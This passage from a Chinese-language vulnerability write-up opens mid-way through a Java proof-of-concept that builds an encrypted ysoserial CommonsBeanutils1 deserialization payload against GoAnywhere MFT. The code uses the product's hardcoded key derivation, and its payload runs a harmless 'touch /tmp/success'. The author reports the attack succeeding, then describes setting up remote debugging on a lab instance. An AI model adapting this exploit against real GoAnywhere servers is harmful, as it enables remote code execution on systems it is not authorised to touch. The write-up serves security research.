heWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASdG91Y2ggL3RtcC9zdWNjZXNzCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyNTE5OTY1NDEyNjk0NjQzAQAgTHlzb3NlcmlhbC9Qd25lcjUxOTk2NTQxMjY5NDY0MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAuAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAzAA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA3AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAOwAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==";
            byte[] payloadByte = Base64.decodeBase64(CB1);

            // this.encryptor = new Encryptor(new StandardEncryptionEngine(this.getInitializationValue(), IV, "AES", "AES/CBC/PKCS5Padding"));
            // this.encryptor.decryptToBytes(encrypted);
            byte[] IV = new byte[]{65, 69, 83, 47, 67, 66, 67, 47, 80, 75, 67, 83, 53, 80, 97, 100};

//            public StandardEncryptionEngine(byte[] key, byte[] iv, String keyAlgorithm, String cipherAlgorithm)
//            new StandardEncryptionEngine(this.getInitializationValue(), IV, "AES", "AES/CBC/PKCS5Padding")
            Class EncryptorClass = Class.forName("com.linoma.commons.crypto.StandardEncryptionEngine");
            Constructor<?> cons = EncryptorClass.getConstructor(byte[].class,byte[].class,String.class,String.class);
            StandardEncryptionEngine standardEncryptionEngine = (StandardEncryptionEngine) cons.newInstance(getInitializationValue(),IV,"AES", "AES/CBC/PKCS5Padding");
            byte[] result = standardEncryptionEngine.encrypt(payloadByte);
            // chunk 必须为 False,否则或报错:Input length must be multiple of 16 when decrypting with padded cipher
            String bundle = new String(encode(result,false), "UTF-8");
            System.out.println(bundle);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    private static byte[] encode(byte[] bytes, boolean chunk) throws UnsupportedEncodingException {
        byte[] encoded = Base64.encodeBase64(bytes, chunk, !chunk);
        return encoded;
    }

    private static byte[] getInitializationValue() throws Exception {
        byte[] param1 = new byte[]{103, 111, 64, 110, 121, 119, 104, 101, 114, 101, 76, 105, 99, 101, 110, 115, 101, 80, 64, 36, 36, 119, 114, 100};
        byte[] param2 = new byte[]{-19, 45, -32, -73, 65, 123, -7, 85};
        int param3 = 9535;
        int param4 = 256;
        SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
        KeySpec spec = new PBEKeySpec((new String(param1, "UTF-8")).toCharArray(), param2, param3, param4);
        SecretKey tmp = factory.generateSecret(spec);
        return tmp.getEncoded();
    }
}

image-20230404152648722

攻击成功。

我们新建一个 IDEA 项目将所有的 jar 文件导入到项目的 Libraries 内。在 Add Configuration 添加一个 Remote JVM Debug 远程调试配置,填上 Host。

接着关闭 GoAnywhere。

./goanywhere.sh stop

然后修改 /GoAnywhere/tomcat/bin/start_tomcat.sh 的第一行,添加上 IDEA 配置中的远程调试参数。

JAVA_OPTS='-Xmx1024m -XX:MaxMetaspaceSize=1024m -Djava.awt.headless=true'
修改成
JAVA_OPTS='-Xmx1024m -XX:MaxMetaspaceSize=1024m -Djava.awt.headless=true -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005'

接着启动 GoAnywhere。

./goanywhere.sh start

检查是否打开了调试端口。

$ netstat -ano |grep 5005
tcp        0      0 0.0.0.0:5005            0.0.0.0:*               LISTEN      off (0.00/0/0)

接着点击 IDEA 的调试按钮,调试 Console 即可出现调试环境搭建成功的提示:

Connected to the target VM, address: ‘192.168.47.179:5005’, transport: ‘socket’

现在我们就可以开始下断点调试了。

这个反序列化是一个简单的已某个 Servlet 的参数为入口的 CB1 反序列化。其中构造 Payload 那段假如使用的是 GoAnywhere 的 jar 文件的话,会有一些问题需要解决,比如两个 jar 中存在同一个 Class 名称的 Class 和 Interface,或者 Base64 的编码方式和 JDK 所提供的不同,JDK 版本过低构造 Payload 会有 Error initializing symmetric key java 的报错。

总之,也花了两天去分析,接下来的目标就是探索如何已此漏洞为目标,自动化的查找 Jar 中(无源码)以 Servlet 为入口的漏洞了。